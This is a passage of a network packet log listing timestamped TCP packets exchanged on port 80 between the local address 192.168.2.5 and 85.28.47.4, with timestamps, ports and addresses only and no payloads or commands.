Jul 2, 2024 04:12:08.449196100 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.449203014 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.449207067 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.449227095 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.449229956 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.449240923 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.449270964 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.449281931 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.449285984 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.449296951 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.449316978 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.449325085 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.449352980 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.449352980 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.450155973 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.450166941 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.450185061 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.450229883 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.450247049 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.450258017 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.450262070 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.450272083 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.450300932 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.450301886 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.450313091 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.450328112 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.450349092 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.450371027 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.450479984 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.450489998 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.450511932 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.450524092 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.450531006 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.450540066 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.450563908 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.450567961 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.450578928 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.450582981 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.450633049 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.450658083 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.450670958 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.450702906 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.450706959 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.450721025 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.450737000 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.450743914 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.450743914 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.450781107 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.450781107 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.451044083 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.451055050 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.451071978 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.451101065 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.451132059 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.451142073 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.451160908 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.451170921 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.451173067 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.451173067 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.451193094 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.451205969 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.451217890 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.451229095 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.451260090 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.451299906 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.451339960 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.451371908 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.451385021 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.451400995 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.451426029 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.451426029 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.451431990 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.451442957 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.451477051 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.451478958 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.451520920 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.451520920 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.451520920 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.536170959 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.536185026 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.536211014 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.536220074 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.536238909 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.536243916 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.536261082 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.536269903 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.536278963 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.536283970 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.536299944 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.536323071 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.536326885 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.536326885 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.536334038 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.536355972 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.536355972 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.536364079 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.536377907 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.536406040 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.536416054 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.536417007 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.536417007 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.536417007 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.536444902 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.536469936 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.536654949 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.536664963 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.536683083 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.536691904 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.536708117 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.536709070 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.536722898 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.536741972 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.536744118 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.536744118 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.536756039 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.536772966 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.536777973 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.536799908 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.536801100 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.536801100 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.536813974 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.536819935 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.536835909 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.536845922 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.536850929 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.536864042 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.536874056 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.536874056 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.536875010 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.536905050 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.536915064 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.536922932 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.536922932 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.536933899 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.536962986 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.536962986 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.536978006 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.536994934 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.536998987 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.536998987 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.537015915 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.537040949 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.537080050 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.537090063 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.537106991 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.537156105 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.537209988 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.537220001 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.537236929 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.537250042 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.537262917 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.537262917 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.537265062 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.537281990 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.537290096 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.537300110 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.537324905 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.537338972 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.537348032 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.537358046 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.537369013 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.537383080 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.537404060 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.537475109 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.537486076 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.537508965 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.537519932 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.537524939 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.537537098 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.537555933 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.537559986 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.537583113 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.537589073 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.537601948 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.537607908 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.537620068 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.537640095 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.537642956 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.537655115 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.537656069 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.537671089 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.537686110 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.537694931 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.537699938 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.537719011 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.537724018 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.537739038 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.537744999 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.537756920 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.537766933 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.537775993 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.537775993 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.537790060 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.537798882 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.537805080 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.537818909 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.537827969 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.537827969 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.537838936 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.537864923 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.538523912 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.538535118 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.538553953 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.538593054 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.538593054 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.538602114 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.538613081 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.538633108 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.538642883 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.538659096 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.538666964 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.538666964 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.538680077 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.538692951 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.538705111 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.538717985 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.538732052 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.538738966 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.538748980 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.538758039 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.538769007 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.538779020 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.538796902 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.538800001 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.538800001 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.538825989 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.538851976 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.539567947 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.539581060 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.539630890 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.539630890 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.539661884 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.539674044 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.539689064 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.539701939 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.539719105 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.539721966 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.539721966 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.539738894 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.539753914 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.539753914 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.539767027 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.539777994 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.539927959 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.539973021 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.540010929 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.540020943 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.540038109 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.540050983 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.540066957 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.540072918 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.540092945 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.540100098 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.540100098 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.540113926 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.540124893 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.540133953 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.540149927 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.540157080 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.540164948 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.540180922 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.540185928 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.540185928 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.540193081 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.540210009 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.540227890 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.540241003 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.540246964 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.540246964 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.540246964 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.540246964 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.540318966 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.540318966 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.540648937 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.540704966 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.540803909 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.540812969 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.540829897 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.540849924 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.540860891 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.540862083 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.540888071 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.540898085 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.540906906 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.540906906 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.540915966 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.540930986 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.540934086 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.540944099 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.540956974 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.540986061 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.540997028 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.541018009 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.541023016 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.541033030 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.541035891 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.541053057 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.541074038 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.541074038 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.541096926 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.625627995 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.625652075 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.625664949 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.625720024 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.625778913 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.625790119 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.625807047 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.625817060 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.625823975 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.625842094 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.625852108 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.625873089 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.625884056 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.625906944 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.625916958 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.625936031 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.625940084 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.625952005 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.625962973 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.625977993 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.625992060 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.626028061 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.626045942 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.626058102 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.626059055 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.626074076 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.626086950 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.626102924 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.626113892 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.626127958 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.626137972 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:08.626141071 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:08.626158953 CEST	80	49704	85.28.47.4	192.168.2.5
